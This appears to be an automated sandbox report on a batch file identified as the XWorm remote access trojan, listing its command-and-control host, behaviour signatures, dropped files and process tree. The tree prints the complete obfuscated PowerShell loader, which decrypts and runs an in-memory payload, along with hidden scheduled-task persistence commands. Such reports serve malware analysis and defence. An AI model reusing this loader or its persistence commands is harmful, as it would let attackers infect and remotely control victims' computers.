Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19/06/2024, 16:55

General

  • Target
    Celestria Loader.bat
  • Size 339KB
  • Sample240619-vfdvwayern
  • SHA256 6f95c2ae1d09a753abc184534a2ff8989c56fcceffaf084e0cc34ea53b5ca9c8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

C2
  • runderscore00-37568.portmap.host:37568

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Celestria Loader.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vAf9I7v8Gv+QtwUGVAU2aNXKQtwRSRSQlnTY9lHwFJ8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GDElKIvWgB3qyZr5n7DrCw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SGsHz=New-Object System.IO.MemoryStream(,$param_var); $yTpkv=New-Object System.IO.MemoryStream; $HKyGq=New-Object System.IO.Compression.GZipStream($SGsHz, [IO.Compression.CompressionMode]::Decompress); $HKyGq.CopyTo($yTpkv); $HKyGq.Dispose(); $SGsHz.Dispose(); $yTpkv.Dispose(); $yTpkv.ToArray();}function execute_function($param_var,$param2_var){ $YqDjA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ROBVy=$YqDjA.EntryPoint; $ROBVy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Celestria Loader.bat';$pRjeN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Celestria Loader.bat').Split([Environment]::NewLine);foreach ($aOXAW in $pRjeN) { if ($aOXAW.StartsWith(':: ')) { $mDFkI=$aOXAW.Substring(3); break; }}$payloads_var=[string[]]$mDFkI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_744_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_744.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4848
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_744.vbs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4708
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_744.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4108
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vAf9I7v8Gv+QtwUGVAU2aNXKQtwRSRSQlnTY9lHwFJ8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GDElKIvWgB3qyZr5n7DrCw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SGsHz=New-Object System.IO.MemoryStream(,$param_var); $yTpkv=New-Object System.IO.MemoryStream; $HKyGq=New-Object System.IO.Compression.GZipStream($SGsHz, [IO.Compression.CompressionMode]::Decompress); $HKyGq.CopyTo($yTpkv); $HKyGq.Dispose(); $SGsHz.Dispose(); $yTpkv.Dispose(); $yTpkv.ToArray();}function execute_function($param_var,$param2_var){ $YqDjA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ROBVy=$YqDjA.EntryPoint; $ROBVy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_744.bat';$pRjeN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_744.bat').Split([Environment]::NewLine);foreach ($aOXAW in $pRjeN) { if ($aOXAW.StartsWith(':: ')) { $mDFkI=$aOXAW.Substring(3); break; }}$payloads_var=[string[]]$mDFkI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1080
            • C:\Users\Admin\AppData\Local\Temp\AvKiller.exe
              "C:\Users\Admin\AppData\Local\Temp\AvKiller.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:3880
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost"
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:412
  • C:\ProgramData\svchost
    C:\ProgramData\svchost
    1⤵
    • Executes dropped EXE
    PID:4004

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        svchost

        • Path C:\ProgramData\svchost
        • Size 440KB
        • SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 67b7e0001e15e60f1e5c92ce49644ce08500a099fd94135d179b8dfe0513567c
        • MD5 SHA1 SHA512

        AvKiller.exe

        • Path C:\Users\Admin\AppData\Local\Temp\AvKiller.exe
        • Size 38KB
        • SHA256 6314ef0556c5ad131561aa7c1ab5154549ce35958bfa88f94e4db117e788fc89
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_mdehmsjp.a1e.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mdehmsjp.a1e.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        startup_str_744.bat

        • Path C:\Users\Admin\AppData\Roaming\startup_str_744.bat
        • Size 339KB
        • SHA256 6f95c2ae1d09a753abc184534a2ff8989c56fcceffaf084e0cc34ea53b5ca9c8
        • MD5 SHA1 SHA512 SSDEEP

        startup_str_744.vbs

        • Path C:\Users\Admin\AppData\Roaming\startup_str_744.vbs
        • Size 115B
        • SHA256 74376fa8d31495aa4b28fe1032206bf2d58f19fd79ec270c50fb07cd5cd7850d
        • MD5 SHA1 SHA512

        memory/1080-50-0x000001B36EE30000-0x000001B36EE8A000-memory.dmp

        memory/3880-61-0x0000000000350000-0x0000000000360000-memory.dmp

        memory/3884-12-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

        memory/3884-10-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

        memory/3884-9-0x000002306DBA0000-0x000002306DBC2000-memory.dmp

        memory/3884-63-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

        memory/3884-11-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

        memory/3884-0-0x00007FFD03473000-0x00007FFD03475000-memory.dmp

        memory/3884-14-0x000002306DE60000-0x000002306DEA8000-memory.dmp

        memory/3884-13-0x000002306DE10000-0x000002306DE18000-memory.dmp

        memory/4004-77-0x000001F9D9AD0000-0x000001F9D9B16000-memory.dmp

        memory/4848-24-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

        memory/4848-25-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

        memory/4848-26-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

        memory/4848-30-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

        memory/4848-27-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp